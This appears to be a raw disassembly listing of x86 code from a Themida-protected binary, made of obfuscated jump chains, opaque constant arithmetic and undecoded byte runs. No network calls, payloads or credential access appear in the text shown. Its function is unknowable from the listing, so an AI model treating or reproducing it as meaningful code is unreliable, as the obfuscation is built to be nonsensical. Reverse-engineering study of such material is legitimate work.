dd 4C4h, 0FFEE8300h, 300CE81h, 0C68113D1h, 8800B4C0h, 875EF301h
dd 0FF5C241Ch, 48B2434h, 4C48124h, 53000000h, 0C381E389h
dd 4, 0FF7214E9h, 0C3815CFFh, 4, 6802C383h, 47C1h, 0E9241C89h
dd 0FFFFBF38h
; ---------------------------------------------------------------------------
loc_5505FC: ; CODE XREF: Themida_:005504FDj
mov edx, [esp]
add esp, 4
jmp loc_54A282
; ---------------------------------------------------------------------------
db 8Bh
dd 37E92404h, 89000006h, 243C8BFEh, 4C481h, 0EA810000h
dd 157A4F95h, 6324EA81h, 0F2011481h, 6324C281h, 0C2811481h
dd 157A4F95h, 8324348Bh, 0D8E904C4h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55063F: ; CODE XREF: Themida_:00551126j
push ebx
push 6CC7h
mov [esp], edi
jmp loc_551716
; ---------------------------------------------------------------------------
db 0BBh, 88h, 7Ch
dd 0D3E905E0h, 0C1FFFFE7h, 0BE5606E7h, 0BE81B5BCh, 673AEF81h
dd 0C7811B29h, 5E387180h, 0EF81F729h, 5E387180h, 0FF8858E9h
dd 6386BEFFh, 0DEF71FAFh, 0FFD173E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550685: ; CODE XREF: Themida_:0054EFFCj
pop esp
push dword ptr [edi+eax*4]
push ebx
mov ebx, 14494BF1h
sub [esp+4], ebx
jmp loc_54C86E
; ---------------------------------------------------------------------------
dd 62EA68h, 6849E900h, 0E959FFFFh, 0FFFF6F00h
; ---------------------------------------------------------------------------
loc_5506A8: ; CODE XREF: Themida_:00551FB3j
add ebx, 4
push edx
mov edx, 4
jmp loc_5511FC
; ---------------------------------------------------------------------------
db 81h, 0C1h, 12h
dd 8150DF23h, 0DE2890E1h, 81D9F70Bh, 0D879DBC1h, 0E9CB8973h
dd 0FFFF7F87h
; ---------------------------------------------------------------------------
loc_5506D4: ; CODE XREF: Themida_:0054C219j
sub ebx, 41A8360Eh
pop eax
push ebp
jmp loc_54E337
; ---------------------------------------------------------------------------
db 51h, 0B9h, 0FFh
dd 54CC030h, 4D8E65C2h, 0C22DC801h, 594D8E65h, 48BE9h
dd 5BDE0100h, 56B8B951h, 61E96786h, 0BEFFFF68h, 2B0F3698h
dd 0FFA28FE9h, 3B7A05FFh, 78E96C42h
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55071B: ; CODE XREF: Themida_:0054B1DBj
pop esp
jmp loc_548D4D
; ---------------------------------------------------------------------------
loc_550721: ; CODE XREF: Themida_:0054D3AEj
push edi
mov edi, 562A2F0Fh
shl edi, 7
xor edi, 1F6A645Fh
and edi, 1D2E60E6h
xor edi, 0BE0581Dh
neg edi
add edi, 43EE76DDh
mov ebx, edi
pop edi
not ebx
and ebx, 6FD4232Eh
sub ebx, 2FD40128h
jmp loc_54DA0D
; ---------------------------------------------------------------------------
word_55075A dw 8B66h ; DATA XREF: Themida_:005462F4o
dd 54552404h, 4BE565Dh, 1000000h, 0C9685EF5h, 8900004Bh
dd 2E92434h
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550777: ; CODE XREF: Themida_:0054C785j
mov edx, 655C605Bh
and edx, 268F7172h
or edx, 76A54CE8h
neg edx
add edx, 76AD6CFEh
jmp loc_54D3AA
; ---------------------------------------------------------------------------
loc_550795: ; CODE XREF: Themida_:00550C28j
shl edx, 7
jmp loc_5523EE
; ---------------------------------------------------------------------------
db 89h, 0E6h, 0E9h
dd 0FFFF7B3Eh, 6240481h, 5952EC31h, 3106E981h, 495A52ECh
dd 0C99AC181h, 0CA31AAB2h, 83240C8Bh, 0D58904C4h, 0F5E8E95Ah
dd 248BFFFFh, 8D17E924h, 0B252FFFFh, 0FFC2809Bh, 5105E2C0h
dd 0B56CB753h, 5BFD009Eh, 1E52E9h, 0A30F5C00h, 0E99C2404h
dd 0FFFF5CF7h, 0C381E389h, 4, 8704EB83h, 895C241Ch, 68241Ch
dd 0FF408C71h, 1C8B2434h, 0E72AE924h, 0C31FFFFh, 240C3324h
dd 1E9C685Ch, 34890000h, 2474FF24h, 0AB9E904h, 88510000h
dd 8BEB88C5h, 0B4E9240Ch
db 61h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55083B: ; CODE XREF: Themida_:00549CBBj
or [edi+1Ch], esi
pop esi
jmp loc_54A98D
; ---------------------------------------------------------------------------
dd 9AB450h, 0F6D0E9E3h, 0C146FFFFh, 815705EEh, 4ECh, 0ABF8E900h
dd 0C481FFFFh, 4, 6AA2E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55086A: ; CODE XREF: Themida_:005475DDj
; Themida_:0055168Cj ...
push esi
push ebx
jmp loc_5495B7
; ---------------------------------------------------------------------------
loc_550871: ; CODE XREF: Themida_:0054DC00j
add esp, 4
push esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
push ebx
push 6C013771h
push dword ptr [esp]
pop ebx
add esp, 4
push esi
mov esi, 73674A3h
jmp loc_5465A1
; ---------------------------------------------------------------------------
byte_5508A5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005462F8o
dd 4EC8124h, 89000000h, 2E9241Ch
db 5, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5508B7: ; CODE XREF: Themida_:0054B4A4j
mov eax, 77A47199h
neg eax
add eax, 3675CB9h
inc eax
push esi
mov esi, 32F7302Ch
shr esi, 7
jmp loc_54A6CD
; ---------------------------------------------------------------------------
dw 0BD55h
dd 31D56E38h, 8246C29h, 24348B5Dh, 8104C483h, 5F87242Ch
dd 0FCE93870h, 88FFFF5Bh, 88D4F6DCh, 0E678E9E3h, 0F531FFFFh
dd 7577E95Eh, 0C681FFFFh, 78E26469h, 0E951DE01h, 0FFFFB10Fh
; ---------------------------------------------------------------------------
loc_550910: ; CODE XREF: Themida_:005524FAj
mov edi, 4
add ebp, edi
pop edi
jmp loc_54A20C
; ---------------------------------------------------------------------------
loc_55091D: ; CODE XREF: Themida_:005477F4j
mov esi, 0FFFFFFFFh
jmp loc_551637
; ---------------------------------------------------------------------------
db 29h
dd 0EB46E9DDh, 0C681FFFFh, 0BBF56603h, 575EF701h, 8CE9E789h
dd 83FFFF8Dh, 8AE904C4h
db 1Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550947: ; CODE XREF: Themida_:0054FDADj
not ebx
xchg ebx, esi
jmp loc_54C95B
; ---------------------------------------------------------------------------
dd 0E908EFC1h, 0FFFFEEB7h, 57243489h, 2716A4BFh, 0E9DF8713h
dd 0FFFFEDCAh
; ---------------------------------------------------------------------------
loc_550968: ; CODE XREF: Themida_:00551718j
mov edi, 0DE371B1h
mov ebp, edi
mov edi, [esp]
add esp, 4
mov edi, 5EF672F7h
sub edi, ebp
pop ebp
jmp loc_5521D9
; ---------------------------------------------------------------------------
dw 0EF81h
dd 0C970E8B8h, 8904EC83h, 5D57242Ch, 0FFD468E9h, 0E56855FFh
dd 89000071h, 4812424h, 424h, 0E6685D00h, 0E9000019h, 0FFFF691Ah
dd 381FC781h, 0F901E8C2h, 0E9CB315Fh, 51Ch, 8704C583h
dd 248B242Ch, 24048724h, 5224248Bh, 0FFDBA6E9h
db 0FFh
byte_5509D5 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00546300o
dd 6659669Dh, 9C2414D3h, 0FFC837E9h, 86CEFEFFh, 86D3F6DEh
dd 827AE9DEh, 0C301FFFFh, 241C8758h, 288645Ch, 0FF5AEAE9h
dd 8DE952FFh
db 0A1h, 2 dup(0FFh)
byte_550A07 db 0FFh ; DATA XREF: Themida_:00546240o
a4XhQ db '4$XhбQ',0
align 10h
dd 0FF921EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550A15: ; CODE XREF: Themida_:0054D8A1j
inc esi
push eax
jmp loc_54EE79
; ---------------------------------------------------------------------------
dd 0BD242C89h, 21FF4A51h, 2C8BEA29h, 4C48324h, 0DA87EAD1h
dd 0DA31D3F7h, 0DA31D331h, 7974C281h, 0F281360Ah, 51949DE3h
dd 0FFD58DE9h, 4C481FFh, 81000000h, 4ECh, 62C3E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550A5A: ; CODE XREF: Themida_:0054BDB2j
jz loc_549391
push dword ptr [edi+1Ch]
push edi
jmp loc_548ADB
; ---------------------------------------------------------------------------
db 52h, 54h, 8Bh
dd 0C4812414h, 4, 4C281h, 0C2830000h, 24148704h, 2404875Ch
dd 4C4815Ch, 0F7000000h, 0AC94E9E9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550A92: ; CODE XREF: Themida_:005498AEj
xor [esp], edx
xor edx, [esp]
pop esp
add [esp], eax
push edx
mov edx, 2925256Ah
sub [esp+4], edx
mov edx, [esp]
add esp, 4
jmp loc_546763
; ---------------------------------------------------------------------------
loc_550AB4: ; CODE XREF: Themida_:00550C20j
or ebp, 3B9B2554h
sub ebp, 7D6DC5E3h
mov ecx, ebp
pop ebp
push edx
mov edx, 2917210h
xor ecx, edx
pop edx
push eax
jmp loc_550E8D
; ---------------------------------------------------------------------------
dw 475Dh
dd 0FFFEA9E9h, 5FFA89FFh, 0BE56DAF7h, 32987760h, 515EF201h
dd 0B1287B9h, 3E9C175h, 8102E1C1h, 380DAAE1h, 99BD5565h
dd 0C1657523h, 4D4D03EDh, 8108EDC1h, 0E459FFCDh, 86C58102h
dd 0E9D33E68h, 0FFFFA2E4h, 5524048Bh, 249368h, 48F5400h
dd 33A6824h, 4890000h, 4B824h, 44010000h, 5D580424h, 0FFAD40E9h
dd 70D1BBFFh, 0DE017814h, 0CEC1815Bh, 1372974h, 0CEE981F1h
dd 5E372974h, 0AC7FE955h
db 2 dup(0FFh)
word_550B5A dw 53ACh ; DATA XREF: Themida_:0054623Co
dd 0FFAD9CE9h, 241C89FFh, 2434FF54h, 4C4815Bh, 50000000h
dd 4B8h, 0E9C30100h, 0FFFFCFAFh
dword_550B7C dd 0E924248Bh, 0FFFF5967h, 81243C8Bh, 4C4h, 240C8B00h
; DATA XREF: Themida_:0054643Co
dd 81E38953h, 4C3h, 4C38300h, 0FFD2FFE9h, 243487FFh, 0F724248Bh
dd 4EC81F9h, 89000000h, 0E389241Ch, 4BF5751h, 52000000h
dd 89F88950h, 815258C2h, 1FCB242Ch, 81590228h, 281FCBC1h
dd 815F5A02h, 2226DFC3h, 6A4EE976h, 0E280FFFFh, 7E2C0B5h
dd 0F400E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550BEA: ; CODE XREF: Themida_:0054AF23j
xchg ecx, [esp]
jmp loc_54C924
; ---------------------------------------------------------------------------
dw 0DF87h
dd 0FFC1E0E9h, 837B4FFh, 0C58058E5h, 0E9EF88A2h, 0FFFFBACEh
dword_550C08 dd 24048B66h, 0EE95451h ; DATA XREF: Themida_:005463B8o
db 5Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550C13: ; CODE XREF: Themida_:00546CF8j
push ecx
push ebp
mov ebp, 63781023h
or ebp, 55633B1h
jmp loc_550AB4
; ---------------------------------------------------------------------------
loc_550C25: ; CODE XREF: Themida_:00549BC8j
add edx, ebx
pop ebx
jmp loc_550795
; ---------------------------------------------------------------------------
loc_550C2D: ; CODE XREF: Themida_:0054B940j
neg ecx
inc ecx
jmp loc_54980B
; ---------------------------------------------------------------------------
db 81h, 0EBh, 18h
dd 1009220h, 0C0835BD8h, 9B65E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, 4
jmp loc_5504FB
; ---------------------------------------------------------------------------
dw 0D028h
dd 0FFC2CFE9h, 0EF814FFFh, 22DE4094h, 24048157h, 36EF777Dh
dd 6E24E95Ah, 0C329FFFFh, 7C38EB81h, 71E95EDBh
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550C83: ; CODE XREF: Themida_:0054FB09j
neg eax
add eax, 67E25562h
sub eax, 4632D90Fh
add ebp, eax
pop eax
pop eax
xor ebp, 431E3168h
add ebp, 0B774C4FFh
sub [edi+24h], ebp
mov ebp, [esp]
push edi
mov edi, esp
push esi
mov esi, 0D8D0985h
and esi, 76227A4Ch
jmp loc_5474CA
; ---------------------------------------------------------------------------
loc_550CB9: ; CODE XREF: Themida_:005484ECj
sub bl, 17h
sub cl, bl
pop ebx
add al, cl
push dword ptr [esp]
jmp loc_54F180
; ---------------------------------------------------------------------------
loc_550CC9: ; CODE XREF: Themida_:0054EAB2j
pop edx
xor esi, 1C3975E4h
shl esi, 2
jmp loc_54BCD9
; ---------------------------------------------------------------------------
dd 24348B5Bh, 4C481h, 0C6810000h, 4, 0FF837FE9h, 2434FFFFh
dd 582434FFh, 0E9E78957h, 0FFFFC28Ah, 125CE81h, 0DEF75872h
dd 64E8B850h, 0AEE9210Fh, 81FFFFD0h, 7F738AC5h, 81C5017Ah
dd 7F738AEDh, 0F8E5E97Ah, 0CF81FFFFh, 66C71494h, 62E3BD55h
dd 81455FF8h, 5013C2CDh, 0E578E96Ah, 2C89FFFFh, 53E6BD24h
dd 0F581680Dh, 8B15DB6h, 0F7DDF745h, 0B95153DDh, 3F5854D8h
dd 3A1BC181h, 0C9811C4Ah, 7EFE2E6Dh, 0FF938BE9h, 77CF68FFh
dd 34890000h, 157CE924h, 34FF0000h, 2434FF24h, 5A2434FFh
db 83h, 0C4h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_54F739
; ---------------------------------------------------------------------------
db 0C1h
dd 0E78105EFh, 76B3074Fh, 7E8AEF81h, 0D7F7025Fh, 2457E781h
dd 0C78127A2h, 0F41CB58Dh, 0FFF279E9h, 52E389FFh, 6C88E955h
dd 2E05FFFFh, 8B655831h, 0EC812414h, 4, 0E9241489h, 0FFFF802Fh
dd 2C43B151h, 4C82807h, 58F2E907h, 1C87FFFFh, 0D8285C24h
dd 52664A04h, 0A4E920B6h, 89FFFFE5h, 0BC74E9E2h, 0C781FFFFh
dd 4, 4C781h, 4AE90000h, 5EFFFF77h, 0FF9680E9h, 0CF015FFFh
dd 243C8759h, 2434FF5Ch, 0FF2434FFh, 34FF2434h, 0C4835924h
dd 0E9545104h, 0FFFF70CBh
dword_550E34 dd 240C8B66h, 6700E951h, 0E9C1FFFFh, 0EC815607h, 4, 0BF243C89h
; DATA XREF: Themida_:00546450o
dd 2A53006Ch, 546251BEh, 5FFE292Ah, 66E9F131h, 0B5FFFFE0h
dd 283FB262h, 240C8BEAh, 0FFD708E9h, 4C581FFh, 0E9000000h
dd 0FFFFED3Dh
; ---------------------------------------------------------------------------
loc_550E78: ; CODE XREF: Themida_:0054E7B7j
pop ebp
jmp loc_54E4BC
; ---------------------------------------------------------------------------
dw 0C668h
dd 8900006Dh, 0E189240Ch, 0FF6E88E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550E8D: ; CODE XREF: Themida_:00550ACDj
mov eax, 4D5C5C19h
and eax, 51C3C2Ch
jmp loc_54E895
; ---------------------------------------------------------------------------
loc_550E9C: ; CODE XREF: Themida_:0054C9EEj
sub esi, 1ECD32E9h
push ebx
mov ebx, 0CF4D8FC3h
add esi, ebx
jmp loc_547065
; ---------------------------------------------------------------------------
loc_550EAF: ; CODE XREF: Themida_:00549E02j
mov eax, 297E0BF9h
jmp loc_549BBC
; ---------------------------------------------------------------------------
db 28h, 0F0h, 2Ch
dd 9AF1E9C4h, 0D331FFFFh, 0B768565Ah, 5E76BF77h, 8106E6C1h
dd 0CE911FF6h, 0E9F331A6h, 0FFFF9039h, 0E9D82959h, 0FFFFDAADh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_549C7F
; ---------------------------------------------------------------------------
loc_550EEC: ; CODE XREF: Themida_:0054C176j
pop eax
pop esi
sub eax, 63D17AB7h
add eax, 2632551Ah
sub eax, 47210784h
add eax, ebx
add eax, 47210784h
push ecx
mov ecx, 2632551Ah
sub eax, ecx
pop ecx
add eax, 63D17AB7h
mov ebx, [esp]
add esp, 4
add eax, edi
jmp loc_54B493
; ---------------------------------------------------------------------------
loc_550F1F: ; CODE XREF: Themida_:005481CAj
pop ecx
add esp, 4
mov ebx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_549BD8
; ---------------------------------------------------------------------------
dw 0E0C1h
dd 35D0F706h, 0C0F6F55Eh, 0C1E9C389h
db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550F47: ; CODE XREF: Themida_:0054C295j
pop ebx
sub esp, 4
mov [esp], ecx
sub dword ptr [esp], 440500FFh
pop edi
push ecx
mov ecx, 5F10444Eh
jmp loc_54AE33
; ---------------------------------------------------------------------------
db 52h, 81h, 4
dd 124h, 0EAD15A00h, 0EC835142h, 24148904h, 891E68BAh
dd 25E95275h, 0B9FFFFF8h, 6E2F08D9h, 1C181h, 0E9810000h
dd 5CCB88F9h, 76E9CE89h, 88FFFF56h, 0FE865AD7h, 8003E6C0h
dd 0B3530EE6h, 6E3C04Ah, 0B6E9D330h
db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550FAF: ; CODE XREF: Themida_:00551A26j
xor eax, esi
jmp loc_549C1A
; ---------------------------------------------------------------------------
dw 0BB53h
dd 165C2269h, 4712EB81h, 0C3816AECh, 5CFC17C3h, 78B5E381h
dd 83E926F6h, 5AFFFFF5h, 0FF5512E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550FD9: ; CODE XREF: Themida_:005521DBj
mov eax, 37897509h
xor [esp+4], eax
mov eax, [esp]
jmp loc_54DB97
; ---------------------------------------------------------------------------
dw 39BDh
dd 81495E09h, 5E093DF5h, 7FAF2D49h, 0E80150E2h, 0FFEF46E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551001: ; CODE XREF: Themida_:0054C4EFj
shr eax, 5
dec eax
and eax, 1EFC34B0h
sub esp, 4
mov [esp], edx
mov edx, 2DD84E36h
add edx, 0F124C00Fh
add eax, edx
pop edx
add ebx, eax
pop eax
jmp loc_5481C5
; ---------------------------------------------------------------------------
loc_551026: ; CODE XREF: Themida_:00551E89j
xchg ebp, [esp]
pop esp
mov [esp], ecx
not dword ptr [esp]
jmp loc_54E747
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 81000000h, 4EEh, 24348700h, 0A7F1E95Ch, 3834FFFFh, 0FFF7F3E9h
db 0FFh
byte_551051 db 0FFh, 74h, 24h ; DATA XREF: Themida_:005463F0o
dd 2434FF04h, 0E92434FFh, 0FFFFE2C2h, 83241C8Bh, 0A3E904C4h
db 81h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55106B: ; CODE XREF: Themida_:005517F9j
and edi, ebx
jmp loc_54A5AA
; ---------------------------------------------------------------------------
dw 0C581h
dd 3F2964C0h, 575DEA89h, 0F51762BFh, 5EFC16Ah, 6F1ACF81h
dd 0EF816482h, 3BB649DAh, 9470F781h, 0FB2977ACh, 0E9D3015Fh
dd 0FFFF5FDCh
; ---------------------------------------------------------------------------
loc_5510A0: ; CODE XREF: Themida_:0055165Aj
mov edx, 36AF63B3h
shl edx, 8
or edx, 33BA19ADh
not edx
or edx, 3D730EE3h
push 3EA5h
mov [esp], edi
jmp loc_549323
; ---------------------------------------------------------------------------
db 83h
dd 8B042404h, 0A0E9241Ch
db 72h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5510CF: ; CODE XREF: Themida_:00547703j
pop esi
or ebx, ebx
jnz loc_54DEB1
sub esp, 4
mov [esp], ecx
jmp loc_54AE0C
; ---------------------------------------------------------------------------
dw 0E95Eh
dd 0FFFF6900h
dword_5510EC dd 8B2434FFh, 8951240Ch, 4BF57E1h, 1000000h, 0BE565FF9h
; DATA XREF: Themida_:005462A0o
dd 4, 335EF101h, 0C31240Ch, 240C3324h, 0E924248Bh, 0FFFF9E84h
; ---------------------------------------------------------------------------
loc_551118: ; CODE XREF: Themida_:0054D707j
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
pop esp
jmp loc_55063F
; ---------------------------------------------------------------------------
aNrss db '╜RИХ',0Bh,0 ; DATA XREF: Themida_:00546394o
align 2
word_551132 dw 8B66h ; DATA XREF: Themida_:00546258o
dd 0E9512404h, 0FFFFD806h, 322C381h, 8C681453h, 8900007Ch
dd 1ABE2434h, 0E977356Eh, 0FFFFF420h, 0E904C683h, 0FFFFA265h
dd 0E924248Bh, 0F3Dh, 66F1F65Ch, 53CCB60Fh, 12E9E389h
db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551173: ; CODE XREF: Themida_:005503A4j
add ecx, ebp
pop ebp
push esi
push ebp
mov ebp, 43A46172h
push edi
mov edi, 153D6EACh
mov esi, 50B9AD59h
add esi, edi
jmp loc_54966C
; ---------------------------------------------------------------------------
db 83h
dd 348904ECh, 46824h, 9EE90000h
db 69h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55119F: ; CODE XREF: Themida_:0054D9C7j
add esp, 4
add esp, 4
jmp loc_54B2DC
; ---------------------------------------------------------------------------
byte_5511AD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546214o
aHN db '$hуn',0
align 2
dw 75E9h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5511BB: ; CODE XREF: Themida_:005482B2j
pop edi
pop eax
and edi, 1469009Eh
sub edi, 2F7A6D31h
sub edi, 4B003F6Eh
sub edi, 99C653E7h
sub ebp, 3AED3254h
jmp loc_549B7B
; ---------------------------------------------------------------------------
dd 8B2434FFh, 0C481242Ch, 4, 104C483h, 8B0289FAh, 0E9522414h
dd 0FFFF9910h
; ---------------------------------------------------------------------------
loc_5511FC: ; CODE XREF: Themida_:005506B4j
add ebx, edx
pop edx
xor ebx, [esp]
jmp loc_546A19
; ---------------------------------------------------------------------------
loc_551207: ; CODE XREF: Themida_:00546521j
xor ch, 0Fh
push eax
mov ah, 32h
and ch, ah
pop eax
inc ch
shr ch, 5
push edx
mov dh, 8Fh
xor ch, dh
pop edx
sub al, ch
pop ecx
mov bx, [esp]
add esp, 2
push 6343h
mov [esp], edx
mov dl, 1Ch
push 7C1Ch
mov [esp], ebx
push eax
mov al, 82h
push edx
push ecx
jmp loc_546676
; ---------------------------------------------------------------------------
loc_551244: ; CODE XREF: Themida_:0054D965j
pop eax
add dword ptr [esp+4], 38922AD1h
pop esi
pop dword ptr [edi+24h]
loc_551251: ; CODE XREF: Themida_:0054B546j
push 0AAEh
jmp loc_54CEEB
; ---------------------------------------------------------------------------
loc_55125B: ; CODE XREF: Themida_:0054D148j
push edx
jmp loc_54E239
; ---------------------------------------------------------------------------
db 5Ah, 0E9h, 11h
db 0C4h, 2 dup(0FFh)
byte_551267 db 66h ; DATA XREF: Themida_:005462CCo
dd 52240C8Bh, 8904EC83h, 0BA522424h, 4, 4245401h, 92E95A5Ah
db 9Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551283: ; CODE XREF: Themida_:0054B460j
pop eax
jmp loc_549D3D
; ---------------------------------------------------------------------------
db 5Bh, 83h, 0C4h
dd 24048F04h, 409665Ch, 50E99C24h, 81FFFF52h, 4ECh, 7789E900h
dd 40E9FFFFh
db 52h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5512AB: ; CODE XREF: Themida_:0054FC9Ej
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_54A5CE
; ---------------------------------------------------------------------------
db 81h
dd 93CFEC7h, 81EF0169h, 93CFEEFh, 0EF815D69h, 4, 5C243C87h
dd 0FF242C89h, 8B042474h, 73E9242Ch, 5EFFFF74h, 8B24048Fh
dd 4FF2424h, 2CE99C24h, 0C1FFFFEDh, 0C78102EFh, 511D2DACh
dd 4252E781h, 6AE92A49h, 54FFFFE3h, 0FFBCB9E9h, 0CAE951FFh
dd 2DFFFF86h, 7DD6064Eh, 5024348Bh, 4EC81h, 24890000h
dd 24048324h, 0AE95804h
db 5, 2 dup(0)
byte_551333 db 66h ; DATA XREF: Themida_:00546448o
dd 6824048Bh, 7B9Bh, 68241489h, 796Ch, 81242489h, 42404h
dd 815A0000h, 4C2h, 2BD5500h, 1000000h, 73685DEAh, 89000073h
dd 74FF2414h, 34FF0424h, 89575A24h, 4C781E7h, 81000000h
dd 4C7h, 243C8700h, 0FFE0B7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551385: ; CODE XREF: Themida_:0054FBE7j
push ecx
mov ecx, 4F4102E8h
jmp loc_54A992
; ---------------------------------------------------------------------------
dd 0B7241C89h, 12B45064h, 8607E4C0h, 0E9D5F6ECh, 0FFFF7F20h
dd 1489665Ch, 9C506624h, 0FF513AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5513B1: ; CODE XREF: Themida_:0054833Ej
mov ebp, edi
jmp loc_54B8C4
; ---------------------------------------------------------------------------
dd 0ACE95954h, 89FFFFA1h, 24E92404h
db 51h, 2 dup(0FFh)
byte_5513C7 db 66h ; DATA XREF: Themida_:00546474o
dd 6824048Bh, 57B1h, 54241489h, 0FF963CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5513D9: ; CODE XREF: Themida_:0054C574j
push 14F0h
mov [esp], ecx
push eax
mov eax, 5EA37033h
mov ecx, 0B579AB99h
sub ecx, eax
pop eax
jmp loc_54B895
; ---------------------------------------------------------------------------
dd 4C481h, 81590000h, 4C1h, 4EC8100h, 89000000h, 0E9522434h
dd 0FFFFD564h, 4C681h, 0C6830000h, 10B0E904h, 0C5810000h
dd 46343034h, 40BD6858h, 3C890000h, 9EBA5224h, 0BF416662h
dd 0BE999D66h, 815AD701h, 512D34C5h, 81FD2978h, 512D34EDh
dd 2C875F78h, 48E95C24h, 88FFFFB3h, 6559E9E1h
db 2 dup(0FFh)
word_55145A dw 868h ; DATA XREF: Themida_:00546334o
dd 89000030h, 84E92414h, 66FFFF50h, 50665958h, 0C2006DB0h
dd 0C2805866h, 0E9D2F688h, 0FFFF6226h, 0F705EFC1h, 46F787D7h
dd 0EF81F787h, 9ADAD5ADh, 0FF7D56E9h, 2434FFFFh, 0E924048Bh
dd 0FFFFC120h, 32240C30h, 0C30240Ch, 5041E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5514AA: ; CODE XREF: Themida_:0054EBAFj
xor eax, edx
jmp loc_54F62E
; ---------------------------------------------------------------------------
db 89h, 0E3h, 51h
dd 7124E954h, 0D3F7FFFFh, 66F3E957h, 0A668FFFFh, 0E9000061h
dd 0FFFF5682h, 375B3566h, 58C18966h, 0FFB7A9E9h, 82EF81FFh
dd 132C840h, 82C781CFh, 5932C840h, 0FAC181h, 8FE97FE2h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5514F3: ; CODE XREF: Themida_:00547377j
push esi
mov esi, 78A1755Fh
mov ebp, 4F5FC1B5h
xor ebp, esi
pop esi
xor eax, ebp
pop ebp
add ebx, eax
jmp loc_549082
; ---------------------------------------------------------------------------
byte_55150B db 66h ; DATA XREF: Themida_:00546244o
dd 66705D68h, 6649D468h, 663E4568h, 66242489h, 2240481h
dd 48F6600h, 89B6E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55152A: ; CODE XREF: Themida_:0054DCA3j
pop eax
jmp loc_546592
; ---------------------------------------------------------------------------
dword_551530 dd 9C241CF7h, 0FF4FB2E9h, 0F6815AFFh, 1A3497A4h, 50FEEB81h
; DATA XREF: Themida_:005462BCo
dd 0F30140ABh, 50FEC381h, 3E940ABh, 0C0FFFFE8h, 0DDF608EDh
dd 800EED80h, 0EF280FF5h, 0E9240C8Bh, 433h, 2434FF5Bh
dd 0FFD1BBE9h, 5E089FFh, 4, 0FFCB0BE9h, 2BAFFh, 0D0010000h
dd 8124148Bh, 4C4h, 99FDE900h, 815FFFFFh, 3D6682EAh, 4F4DE951h
dd 7EBDFFFFh, 0F755111Fh, 0DED81DDh, 811EEC70h, 861FABEDh
dd 0ECBB534Ah, 81EFC6E1h, 76710CEDh, 0F365E930h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5515C2: ; CODE XREF: Themida_:005520F7j
add esp, 4
xor ebx, 662650CCh
shl ebx, 5
sub ebx, 596AE52Dh
sub esp, 4
mov [esp], eax
jmp loc_5504A3
; ---------------------------------------------------------------------------
db 28h, 0C3h, 80h
dd 1868FBEBh, 89000023h, 5DB22414h, 0F5AD300h, 8957C0B6h
dd 0E6E955E7h, 81FFFF9Ch, 3DBAAFC6h, 5EF28923h, 4245401h
dd 0FFF9BEE9h
db 0FFh
byte_551615 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054630Co
db 58h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push 25FD54D6h
mov esi, [esp]
add esp, 4
push eax
mov eax, 4D343F2h
jmp loc_55037C
; ---------------------------------------------------------------------------
loc_551637: ; CODE XREF: Themida_:00550922j
sub [edi+24h], esi
pop esi
jmp loc_54A5EF
; ---------------------------------------------------------------------------
loc_551640: ; CODE XREF: Themida_:0054E3C9j
push ecx
jmp loc_54FE84
; ---------------------------------------------------------------------------
loc_551646: ; CODE XREF: Themida_:005484AEj
mov [esp], eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push edx
jmp loc_5510A0
; ---------------------------------------------------------------------------
loc_55165F: ; CODE XREF: Themida_:0054FCA4j
xor ebx, eax
jmp loc_5525F4
; ---------------------------------------------------------------------------
loc_551666: ; CODE XREF: Themida_:0054D3A5j
push ebp
